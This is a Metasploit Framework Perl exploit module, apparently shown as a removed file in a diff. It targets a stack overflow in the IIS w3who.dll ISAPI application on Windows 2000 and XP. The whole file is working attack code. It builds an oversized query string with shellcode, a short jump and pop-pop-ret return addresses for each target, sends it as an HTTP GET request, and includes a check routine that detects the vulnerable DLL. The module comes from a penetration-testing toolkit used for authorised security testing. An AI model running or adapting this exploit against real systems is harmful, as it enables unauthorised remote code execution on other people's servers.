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-
- ##
- # This file is part of the Metasploit Framework and may be redistributed
- # according to the licenses defined in the Authors field below. In the
- # case of an unknown or missing license, this file defaults to the same
- # license as the core Framework (dual GPLv2 and Artistic). The latest
- # version of the Framework can always be obtained from metasploit.com.
- ##
-
- package Msf::Exploit::iis_w3who_overflow;
- use base "Msf::Exploit";
- use strict;
- use Pex::Text;
-
- my $advanced = { };
-
- my $info =
- {
- 'Name' => 'IIS w3who.dll ISAPI Overflow',
- 'Version' => '$Revision: 1.7 $',
- 'Authors' => [ 'H D Moore <hdm [at] metasploit.com>', ],
-
- 'Arch' => [ 'x86' ],
- 'OS' => [ 'win32', 'win2000', 'winxp' ],
- 'Priv' => 0,
-
- 'AutoOpts' => { 'EXITFUNC' => 'process' },
- 'UserOpts' =>
- {
- 'RHOST' => [1, 'ADDR', 'The target address'],
- 'RPORT' => [1, 'PORT', 'The target port', 80],
- 'URL' => [1, 'DATA', 'The URL to the DLL', '/scripts/w3who.dll'],
- 'SSL' => [0, 'BOOL', 'Use SSL'],
- },
-
- 'Payload' =>
- {
- 'Space' => 632,
- 'BadChars' => "\x00+&=%\x0a\x0d\x20",
- 'MinNops' => 128,
- },
-
- 'Description' => Pex::Text::Freeform(qq{
- This module exploits a stack overflow in the w3who.dll ISAPI application.
- This vulnerability was discovered Nicolas Gregoire and this code has been
- successfully tested against Windows 2000 and Windows XP (SP2). When
- exploiting Windows XP, the payload must call RevertToSelf before it will
- be able to spawn a command shell.
- }),
-
- 'Refs' => [
- ['OSVDB', '12258'],
- ['CVE', '2004-1134'],
- ['URL', 'http://www.exaprobe.com/labs/advisories/esa-2004-1206.html'],
- ['MIL', '32'],
- ['BID', '11820'],
- ],
-
- 'DefaultTarget' => 0,
- 'Targets' =>
- [
- ['Windows 2000 RESKIT DLL (Win2000)', 748, 0x01169f4a], # pop, pop, ret magic
- ['Windows 2000 RESKIT DLL (WinXP)', 748, 0x10019f4a], # pop, pop, ret magic
- ],
-
- 'Keys' => ['iis'],
-
- 'DisclosureDate' => 'Dec 6 2004',
- };
-
- sub new {
- my $class = shift;
- my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
- return($self);
- }
-
- sub Check {
- my $self = shift;
- my $target_host = $self->GetVar('RHOST');
- my $target_port = $self->GetVar('RPORT');
- my $target_path = $self->GetVar('URL');
-
- my $s = Msf::Socket::Tcp->new
- (
- 'PeerAddr' => $target_host,
- 'PeerPort' => $target_port,
- 'LocalPort' => $self->GetVar('CPORT'),
- 'SSL' => $self->GetVar('SSL'),
- );
- if ($s->IsError) {
- $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
- return $self->CheckCode('Connect');
- }
-
- $s->Send("GET $target_path HTTP/1.1\r\nHost: $target_host:$target_port\r\n\r\n");
-
- my $r = $s->Recv(-1, 5);
-
- if ($r =~ /Access Token/)
- {
- $self->PrintLine("[*] Found $target_path ;)");
- return $self->CheckCode('Detected');
- } else {
-
- $self->PrintLine("The w3who.dll ISAPI does not appear to be installed");
- return $self->CheckCode('Safe');
- }
- }
-
- sub Exploit {
- my $self = shift;
- my $target_host = $self->GetVar('RHOST');
- my $target_port = $self->GetVar('RPORT');
- my $target_path = $self->GetVar('URL');
- my $target_idx = $self->GetVar('TARGET');
- my $shellcode =$self->GetVar('EncodedPayload')->Payload;
- my $target = $self->Targets->[$target_idx];
-
- $self->PrintLine("[*] Attempting to exploit target " . $target->[0]);
-
- my $pattern = Pex::Text::EnglishText(8192);
- my $jmp = "\xe9".(pack('V', -641));
-
- substr($pattern, $target->[1] - 4, 4, "\x90\x90\xeb\x04");
- substr($pattern, $target->[1] , 4, pack('V', $target->[2]));
- substr($pattern, $target->[1] + 4, length($jmp), $jmp);
- substr($pattern, $target->[1] - 4 - length($shellcode), length($shellcode), $shellcode);
-
- my $request =
- "GET $target_path?$pattern HTTP/1.1\r\n".
- "Host: $target_host:$target_port\r\n\r\n";
-
- my $s = Msf::Socket::Tcp->new
- (
- 'PeerAddr' => $target_host,
- 'PeerPort' => $target_port,
- 'LocalPort' => $self->GetVar('CPORT'),
- 'SSL' => $self->GetVar('SSL'),
- );
- if ($s->IsError) {
- $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
- return;
- }
-
- $self->PrintLine("[*] Sending " .length($request) . " bytes to remote host.");
- $s->Send($request);
-
- $self->PrintLine("[*] Waiting for a response...");
- my $r = $s->Recv(-1, 5);
- $s->Close();
-
- return;
- }
-
- 1;
-